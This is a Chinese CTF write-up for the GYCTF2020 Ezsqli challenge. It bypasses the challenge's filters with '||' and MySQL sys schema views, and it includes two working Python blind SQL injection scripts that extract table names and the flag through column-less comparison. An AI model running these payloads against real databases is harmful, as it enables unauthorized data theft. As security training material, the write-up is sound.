[GYCTF2020]Ezsqli1

打开环境,下面有个提交表单

提交1,2有正确的查询结果,3以后都显示Error Occured When Fetch Result.

题目是sql,应该考察的是sql注入

简单fuzz一下

发现information_schema被过滤了,猜测是盲注了。

测试发现只要有东西加上and或者or都会被检测

试一下||

发现可以,再测试一下substr

可以用,写个脚本爆一下表名

但是information_schema被过滤了,这里用到MySQL5.7的新特性.

可以看一下这篇博客

Bypass information_schema与无列名注入_无列名注入information_schema平替-CSDN博客

脚本

复制代码
import requests
url='http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81/index.php'
data='3 ||  ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
name=''
for i in range(1,90):
    for j in range(32,127):
        id=data.format(i,j)
        post_data={'id':id}
        re=requests.post(url,data=post_data)    
        if 'Nu1L' in re.text:
            name+=chr(j)
            print(name)
            break

两个表users233333333333333,f1ag_1s_h3r3_hhhhh

爆字段

下面要用到无列名注入

由于mysql里面字符串比较大小只是比较第一个字符的大小,就可以利用这一点实现无列名注入

由于等于和大于是两个临界情况,得到chr要-1才对

脚本

复制代码
import requests
url = 'http://7e3aea74-af31-4ee6-a347-e5c4dacc18f0.node5.buuoj.cn:81//'
flag = ''
for i in range(1,200):
    for j in range(32, 127):
        tmp = flag + chr(j)
        id = '3||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(tmp)
        data = {'id':id}
        r = requests.post(url=url, data=data)
        if 'Nu1L' in r.text:
            flag += chr(j-1)
            print(flag)
            break

转个小写

拿到flag

相关推荐
烂漫心空6 分钟前
Windows 系统如何使用 Mysql 服务
数据库·mysql
Par@ish10 分钟前
【网络安全】Apache StreamPipes 严重漏洞使攻击者可夺取管理员控制权
安全·web安全·apache
汉堡包00112 分钟前
【面试总结】--安服实习岗(2)
学习·安全·web安全·网络安全·面试
是Yu欸28 分钟前
vLLM 0.11.0 新特性解析:视觉推理精度跃升与长序列性能革新
数据库·qwen·昇腾·npu·vllm
勇气要爆发1 小时前
跨域 (CORS) 原理:浏览器的“尽职保镖”
网络安全·跨域·cors
不屈的铝合金1 小时前
MySQL 数据库服务多实例部署指南
运维·数据库·mysql·多实例部署·维度隔离
XLYcmy1 小时前
高级密码生成器程序详解:专门设计用于生成基于用户个人信息的密码猜测组合
开发语言·数据结构·python·网络安全·数据安全·源代码·口令安全
杨云龙UP1 小时前
SQL Server定时自动备份配置:使用SSMS维护计划向导配置数据库每日自动备份_20260101
运维·服务器·数据库·sql·sqlserver·桌面
jjjxxxhhh1231 小时前
【项目】-添加辐射源点的接口
数据库
酸菜牛肉汤面2 小时前
21、MySQL中InnoDB的行锁是怎么实现的?
数据库